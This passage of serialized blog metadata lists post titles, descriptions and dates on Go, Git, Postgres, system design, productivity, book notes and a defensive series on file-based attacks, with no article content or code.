easy",[1900,1893],"2020-01-30",{"path":1879,"title":5,"description":1871,"categories":1971,"draft":1872,"year":1884,"series":1972},[1869,1870],{"name":1882,"part":465},{"path":1782,"title":1974,"description":1975,"categories":1976,"draft":1872,"year":1894,"series":1977},"How File-Based Attacks Land: A Detection Engineer's Field Guide","A practical taxonomy of how malware and phishing arrive as files, why classic controls miss them, and how detection should think.",[1869,1870],{"name":1882,"part":453},{"path":23,"title":1979,"description":1980,"categories":1981,"draft":1872,"year":1982,"series":1983},"File Attack Deep Dives: HTML as an Attack Surface","Every way an HTML page attacks: smuggling, external fetches, QR handoffs, phone callbacks, credential phishing, job scams, and AI prompt injection.",[1869,1870],"2026-09-12",{"name":1882,"part":459},{"path":1985,"title":1986,"description":1987,"categories":1988,"draft":1878,"year":1989,"series":1990},"\u002Fblog\u002Ffile-attack-lnk-iso","File Attack Deep Dives: LNK and ISO Smuggling","How ISO, IMG, and ZIP containers and weaponized shortcuts bypass Mark of the Web, and the forensic fields that catch them.",[1869,1870],"2026-10-31",{"name":1882,"part":477},{"path":1992,"title":1993,"description":1994,"categories":1995,"draft":1878,"year":1996,"series":1997},"\u002Fblog\u002Ffile-attack-pdf-url-actions","File Attack Deep Dives: PDF URL Actions","How PDF OpenAction, Launch, URI, JavaScript, and embedded-file actions turn a document into a click — and the action audit that catches them.",[1869,1870],"2026-10-24",{"name":1882,"part":471},{"path":1999,"title":2000,"description":2001,"categories":2002,"draft":1872,"year":2003,"series":6},"\u002Fblog\u002Ffile-upload-golang","Uploading Files in Golang with Multipart Request","Learn how to upload files from your client to server as a multipart request in Golang.",[1900,1893],"2021-03-13",{"path":2005,"title":2006,"description":2007,"categories":2008,"draft":1872,"year":2010,"series":6},"\u002Fblog\u002Fgit-branch","Git Branch 101","Branching is a new path of development that makes it a lot easier to build features. Learn why and how to use branching in git.",[2009,1893],"Git","2022-03-20",{"path":2012,"title":2013,"description":2014,"categories":2015,"draft":1872,"year":2016,"series":6},"\u002Fblog\u002Fgit-pull-request-template","Pull Request Templates (GitHub, Bitbucket)","A PR template that gets used: the sections worth keeping, plus where the file lives on GitHub, GitLab and Bitbucket.",[2009,1893],"2023-08-24",{"path":2018,"title":2019,"description":2020,"categories":2021,"draft":1872,"year":2022,"series":6},"\u002Fblog\u002Fgit-remove-sensitive-info","Securing Git: Remove Sensitive Information","Protect your code from security breaches by using BFG tool to remove sensitive information from Git history. Learn how to do it in this comprehensive guide.",[2009,1893],"2023-10-16",{"path":2024,"title":2025,"description":2026,"categories":2027,"draft":1872,"year":2028,"series":6},"\u002Fblog\u002Fgit-tags-explained","Git tags : Explained","What Git tags are, why and when to use them, and how to start tagging releases in your own projects.",[2009,1893],"2020-06-18",{"path":2030,"title":2031,"description":2032,"categories":2033,"draft":1872,"year":2034,"series":6},"\u002Fblog\u002Fgo-dependency-injection","Dependency Injection in Go using Wire","Learn about dependency injection, its benefits and how to implement it in Go services using wire",[1900,1893],"2022-11-26",{"path":2036,"title":2037,"description":2038,"categories":2039,"draft":1872,"year":2040,"series":6},"\u002Fblog\u002Fgo-generics","Introduction to Generics in Go","Learn about generics in Golang, it's benefits and how to implement it in applications.",[1900,1893],"2022-11-27",{"path":2042,"title":2043,"description":2044,"categories":2045,"draft":1872,"year":2046,"series":6},"\u002Fblog\u002Fgo-in-memory-cache","In-Memory Cache in Go with TTL","Build an in-memory cache in Go: map plus RWMutex, TTL expiry, and a generics version with a typed key and value.",[1900,1893],"2024-03-28",{"path":2048,"title":2049,"description":2050,"categories":2051,"draft":1872,"year":2052,"series":6},"\u002Fblog\u002Fgo-makefile","Ultimate Makefile for Golang","Boost your productivity and save time with ultimate Makefile for Golang projects.",[1900,1893],"2024-06-10",{"path":2054,"title":2055,"description":2056,"categories":2057,"draft":1872,"year":2058,"series":6},"\u002Fblog\u002Fgo-middleware","Mastering Middlewares in Golang","Learn about middlewares, their use cases and how to implement them in Golang applications",[1900,1893],"2022-03-13",{"path":2060,"title":2061,"description":2062,"categories":2063,"draft":1872,"year":2065,"series":6},"\u002Fblog\u002Fgo-naming-conventions","Go Naming Conventions: A Practical Guide","Package, interface, function and variable naming in Go, with the rules that matter and the habits worth dropping.",[1900,1893,2064],"Code Quality","2023-05-19",{"path":2067,"title":2068,"description":2069,"categories":2070,"draft":1872,"year":2072,"series":6},"\u002Fblog\u002Fgo-with-redis","Go with Redis","A practical introduction to using Redis with Golang to make your applications faster with in-memory data storage.",[1900,2071,1893],"Database","2020-05-03",{"path":2074,"title":2075,"description":2076,"categories":2077,"draft":1872,"year":2078,"series":6},"\u002Fblog\u002Fgolang-maps","Golang Maps: Create, Iterate, Delete","How maps work in Go: declaring and initialising, adding and deleting keys, checking existence, iterating, and map equality.",[1900,1893],"2020-09-10",{"path":2080,"title":2081,"description":2082,"categories":2083,"draft":1872,"year":2084,"series":6},"\u002Fblog\u002Fguide-to-cdn","Guide to Content Delivery Network","CDN is one of the backbone of modern world internet infrastructure. Learn about Content Delivery Network, it's working, types and benefits.",[1924,1893],"2022-01-23",{"path":2086,"title":2087,"description":2088,"categories":2089,"draft":1872,"year":2090,"series":6},"\u002Fblog\u002Fguide-to-rule-engines","Rule Engines in Go: How They Work","What a rule engine is, the match-resolve-execute cycle, and a working rule engine built with Grule in Go.",[1900,1893],"2022-09-12",{"path":2092,"title":2093,"description":2094,"categories":2095,"draft":1872,"year":2096,"series":6},"\u002Fblog\u002Fhexagonal-architecture","Guide to Hexagonal Architecture","Learn how to design efficient application with hexagonal architecture with practical example",[1924,1893],"2020-12-13",{"path":2098,"title":2099,"description":2100,"categories":2101,"draft":1872,"year":2102,"series":6},"\u002Fblog\u002Fhttp-status-codes","Learn HTTP Status Codes","A tour of HTTP response status codes, what each class means, and when to use which code in your applications.",[1916,1893],"2020-07-30",{"path":2104,"title":2105,"description":2106,"categories":2107,"draft":1872,"year":2108,"series":6},"\u002Fblog\u002Fintroduction-to-goroutines","Introduction to Goroutines","Understand the basics of concurrency and learn how to work with Goroutines in golang.",[1900,1893],"2021-04-10",{"path":2110,"title":2111,"description":2112,"categories":2113,"draft":1872,"year":2114,"series":6},"\u002Fblog\u002Fjson-in-postgres-with-golang","Storing JSON in Postgres with Golang","Learn how to store JSON objects in Postgres and how to implement it in Golang.",[1893,2071,1900],"2021-02-13",{"path":2116,"title":2117,"description":2118,"categories":2119,"draft":1872,"year":2120,"series":6},"\u002Fblog\u002Fjson-web-token","Complete Guide to JWT","JSON Web Tokens are a very compact way to carry information. Learn about JWTs in depth, from its structure to when to use it.",[1893,1916],"2021-11-20",{"path":2122,"title":2123,"description":2124,"categories":2125,"draft":1872,"year":2126,"series":6},"\u002Fblog\u002Flearn-to-say-no","Learning to say No","Learn why it's important to say 'NO'. How it helps in increasing productivity and explore strategies for saying No",[1908,1907],"2022-04-09",{"path":2128,"title":2129,"description":2130,"categories":2131,"draft":1872,"year":2132,"series":6},"\u002Fblog\u002Flearn-unlearn-relearn","Learn - Unlearn - Relearn","Unlearning things to learn new is the way to grow. Discover how to do that!",[1892,1908],"2020-09-25",{"path":2134,"title":2135,"description":2136,"categories":2137,"draft":1872,"year":2138,"series":6},"\u002Fblog\u002Flinting-in-golang","Introduction to Linting in Go","Introduction to improving code quality using linting. Learn how to add linting in your Go projects.",[1900,1893],"2021-07-07",{"path":2140,"title":2141,"description":2142,"categories":2143,"draft":1872,"year":2144,"series":6},"\u002Fblog\u002Fload-balancing","Load Balancing 101","Complete guide on load balancers explaining the internal working and how does it help in making applications efficient.",[1924,1893],"2021-05-29",{"path":2146,"title":2147,"description":2148,"categories":2149,"draft":1872,"year":2150,"series":6},"\u002Fblog\u002Fmaking-decisions-the-right-way","Making Decisions: The right way","Decisions are hard! Learn how to make the right decisions always",[1892,1908],"2020-06-07",{"path":2152,"title":2153,"description":2154,"categories":2155,"draft":1872,"year":2157,"series":6},"\u002Fblog\u002Fmanage-logs-with-logrotate","Logrotate: Manage Linux Logs with Examples","Configure logrotate to rotate, compress and prune logs, including a Postgres setup and how to force a rotation.",[2156,1893],"Linux","2020-09-08",{"path":2159,"title":2160,"description":2161,"categories":2162,"draft":1872,"year":2163,"series":6},"\u002Fblog\u002Fmarshal-structs-golang","Marshal structs the right way: Golang","Why Golang marshals empty structs into your JSON instead of null, and how to marshal structs the right way.",[1900,1893],"2020-03-31",{"path":2165,"title":2166,"description":2167,"categories":2168,"draft":1872,"year":2169,"series":6},"\u002Fblog\u002Fnotes-almanack-naval","Book Notes : Almanack of Naval Ravikant","My notes\u002Fhighlights from Almanack of Naval Ravikant book by Eric Jorgenson",[1907,1908],"2020-10-17",{"path":2171,"title":2172,"description":2173,"categories":2174,"draft":1872,"year":2175,"series":6},"\u002Fblog\u002Fnotes-anything-you-want","Book Notes : Anything you want","My notes\u002Fhighlights from Anything you want book by Derek Sivers",[1907,1908],"2021-09-25",{"path":2177,"title":2178,"description":2179,"categories":2180,"draft":1872,"year":2182,"series":6},"\u002Fblog\u002Fnotes-getting-real","Book Notes : Getting Real","My notes and highlights from Getting Real by Jason Fried and David Heinemeier Hansson on building web applications.",[1907,2181],"Startups","2020-11-03",{"path":2184,"title":2185,"description":2186,"categories":2187,"draft":1872,"year":2188,"series":6},"\u002Fblog\u002Fnotes-hell-yeah-or-no","Book Notes : Hell Yeah or No","My notes\u002Fhighlights from Hell Yeah or No book by Derek Sivers",[1907,1908],"2020-09-16",{"path":2190,"title":2191,"description":2192,"categories":2193,"draft":1872,"year":2194,"series":6},"\u002Fblog\u002Fnotes-how-to-be-a-capitalist","Book Notes : How to Be a Capitalist Without Any Capital","My notes\u002Fhighlights from How to Be a Capitalist Without Any Capital by Nathan Latka",[1907,2181],"2020-01-07",{"path":2196,"title":2197,"description":2198,"categories":2199,"draft":1872,"year":2201,"series":6},"\u002Fblog\u002Fnotes-lean-b2b","Book Notes : Lean B2B","My notes and highlights from Lean B2B by Étienne Garbugli on assessing markets, building MVPs, and selling to businesses.",[1907,2200],"Entrepreneurship","2022-07-02",{"path":2203,"title":2204,"description":2205,"categories":2206,"draft":1872,"year":2208,"series":6},"\u002Fblog\u002Fnotes-lets-talk-money","Book Notes : Let's Talk Money","My notes and highlights from Let's Talk Money by Monica Halan on managing personal finances and savings.",[1907,2207],"Personal Finance","2021-02-26",{"path":2210,"title":2211,"description":2212,"categories":2213,"draft":1872,"year":2214,"series":6},"\u002Fblog\u002Fnotes-obviously-awesome","Book Notes : Obviously Awesome","My notes and highlights from Obviously Awesome by April Dunford on product positioning and marketing strategy.",[1907,2181],"2020-04-26",{"path":2216,"title":2217,"description":2218,"categories":2219,"draft":1872,"year":2221,"series":6},"\u002Fblog\u002Fnotes-refactoring-ui","Book Notes: Refactoring UI","My notes and highlights from Refactoring UI by Adam Wathan and Steve Schoger, full of practical design tips for engineers.",[1907,2220],"Design","2020-05-09",{"path":2223,"title":2224,"description":2225,"categories":2226,"draft":1872,"year":2227,"series":6},"\u002Fblog\u002Fnotes-rework","Book Notes: Rework","My notes and highlights from Rework by Jason Fried and David Heinemeier Hansson on a better way to succeed in business.",[1907,2181],"2021-04-14",{"path":2229,"title":2230,"description":2231,"categories":2232,"draft":1872,"year":2234,"series":6},"\u002Fblog\u002Fone-on-one-meetings","Guide to Effective 1:1 Meetings","One on One meetings are important for your personal & professional growth. Learn how to master 1:1s with your manager and peers.",[2233,1892],"Career","2023-03-05",{"path":2236,"title":2237,"description":2238,"categories":2239,"draft":1872,"year":2240,"series":6},"\u002Fblog\u002Fpersonal-okrs","Personal OKRs for Success","Why one should set personal OKRs and how to achieve success with them",[1892,1908],"2020-06-27",{"path":2242,"title":2243,"description":2244,"categories":2245,"draft":1872,"year":2247,"series":6},"\u002Fblog\u002Fpoker-tips","Poker Tips: Johns Hopkins Poker Class","Notes from Johns Hopkins poker course. This guide will help you improve in Poker and win some large pots.",[1908,2246],"Poker","2020-06-13",{"path":2249,"title":2250,"description":2251,"categories":2252,"draft":1872,"year":2253,"series":6},"\u002Fblog\u002Fpomodoro","Get work done: The Pomo Way","Learn to focus and get productive by following the Pomodoro Technique",[1892],"2020-10-24",{"path":2255,"title":2256,"description":2257,"categories":2258,"draft":1872,"year":2259,"series":6},"\u002Fblog\u002Fpostgres-constraints","Postgres Constraints","Constraints are line of defense for database. Explore various types of constrainsts in postgres",[2071,1893],"2020-11-07",{"path":2261,"title":2262,"description":2263,"categories":2264,"draft":1872,"year":2265,"series":6},"\u002Fblog\u002Fppf-explained","PPF Explained","Learn basics about Public Provident Fund and why you should invest",[1908,2207],"2020-12-24",{"path":2267,"title":2268,"description":2269,"categories":2270,"draft":1872,"year":2271,"series":6},"\u002Fblog\u002Fproductivity-chrome-extensions","Boost Productivity with Chrome Extensions","Utitizing chrome extensions to boost your productivity!",[1892,1917,1916],"2020-04-24",{"path":2273,"title":2274,"description":2275,"categories":2276,"draft":1872,"year":2277,"series":6},"\u002Fblog\u002Fproductivity-in-vscode","Improve your productivity with VS Code","Key VS Code features like the integrated terminal, shortcuts, and extensions that improved my everyday productivity.",[1892,1893],"2020-03-12",{"path":2279,"title":2280,"description":2281,"categories":2282,"draft":1872,"year":2283,"series":6},"\u002Fblog\u002Freading-101","Improving Reading 101","Why reading matters, how to build a reading habit, and what to read next - from my own journey into books.",[1907,1908],"2020-04-04",{"path":2285,"title":2286,"description":2287,"categories":2288,"draft":1872,"year":2289,"series":6},"\u002Fblog\u002Freverse-proxy","What is a Reverse Proxy? How It Works","What a reverse proxy is, how it differs from a forward proxy and a load balancer, and the benefits it adds to a system design.",[1924,1893],"2021-10-03",{"path":2291,"title":2292,"description":2293,"categories":2294,"draft":1872,"year":2295,"series":6},"\u002Fblog\u002Frunning-periodic-background-task-golang","Running periodic background tasks in Golang","How to run periodic background tasks in Golang by combining cron-style scheduling with background execution.",[1900,1893],"2019-11-21",{"path":2297,"title":2298,"description":2299,"categories":2300,"draft":1872,"year":2301,"series":6},"\u002Fblog\u002Fsessions-in-golang","Sessions using Golang and Redis","How cookies and sessions work, and how to implement persistent login sessions in Golang using Redis.",[1900,2071,1893],"2020-02-25",{"path":2303,"title":2304,"description":2305,"categories":2306,"draft":1872,"year":2307,"series":6},"\u002Fblog\u002Fsolid-dry-kiss-yagni","Solid Dry Kiss Yagni","An introduction to the SOLID, DRY, KISS, and YAGNI principles and how they help you write cleaner, robust code.",[1931],"2020-07-17",{"path":2309,"title":2310,"description":2311,"categories":2312,"draft":1872,"year":2313,"series":6},"\u002Fblog\u002Fstack-in-golang","Implement Stack in Golang","Learn how to implement stack data structure in Golang (Full code)",[1900,1893],"2020-09-14",{"path":2315,"title":2316,"description":2317,"categories":2318,"draft":1872,"year":2319,"series":6},"\u002Fblog\u002Fstart-oss-today","Start your Open Source journey today","Start your OSS journey with intro to GIT. Participate in Hacktoberfest!",[2009,1893],"2020-09-19",{"path":2321,"title":2322,"description":2323,"categories":2324,"draft":1872,"year":2326,"series":6},"\u002Fblog\u002Fsticky-social-bar","Sticky social share component in HTML","Learn how to build a social media sharing component in HTML and add it to your website.",[1893,2325],"Frontend","2021-02-05",{"path":2328,"title":2329,"description":2330,"categories":2331,"draft":1872,"year":2332,"series":6},"\u002Fblog\u002Fterm-insurance","Term insurance Simplified","Everything you need to know before you buy a term insurance.",[1908,2207],"2020-11-29",{"path":2334,"title":2335,"description":2336,"categories":2337,"draft":1872,"year":2339,"series":6},"\u002Fblog\u002Fterminal-output-with-redirection","Handling terminal outputs with Redirection","Learn how to handle terminal outputs with Redirection and saving it to files",[2156,2338,1893],"Terminal","2020-09-06",{"path":2341,"title":2342,"description":2343,"categories":2344,"draft":1872,"year":2345,"series":6},"\u002Fblog\u002Fthink-and-grow-rich","Book Notes: Think and Grow Rich","My notes and highlights from Think and Grow Rich by Napoleon Hill, covering its process for building wealth.",[1907,1908],"2020-05-19",{"path":2347,"title":2348,"description":2349,"categories":2350,"draft":1872,"year":2351,"series":6},"\u002Fblog\u002Ftransactions-postgres-golang","Transactions on Postgres with Golang","Performing Postgres database operations in Golang with GORM, from basic queries to full transaction support.",[1900,2071,1893],"2020-03-18",{"path":2353,"title":2354,"description":2355,"categories":2356,"draft":1872,"year":2357,"series":6},"\u002Fblog\u002Fwaitgroups-in-golang","WaitGroups in Golang","Learn about WaitGroups in golang and how to use them to perform concurrent operations without blocking the main thread.",[1900,1893],"2022-05-31",{"path":2359,"title":2360,"description":2361,"categories":2362,"draft":1872,"year":2364,"series":6},"\u002Fblog\u002Fwhat-i-use","What I Use: Products and Softwares","List of what I use in my day to day life ranging from terminal, editors, softwares, devices to accessories",[1908,2363],"Tech","2024-06-01",{"path":2366,"title":2367,"description":2368,"categories":2369,"draft":1872,"year":2370,"series":6},"\u002Fblog\u002Fyear-in-review-2020","Year in Review: 2020","It's a wrap! 2020 was a crazy year, See how my year went!",[1908],"2020-12-31",{"path":2372,"title":2373,"description":2374,"categories":2375,"draft":1872,"year":2376,"series":6},"\u002Fblog\u002Fyear-in-review-2021","Year in Review: 2021","It's a wrap! 2021 was a mixed bag, full of ups and downs. Key Goal for 2022: Start now!",[1908],"2021-12-31",1792570717427]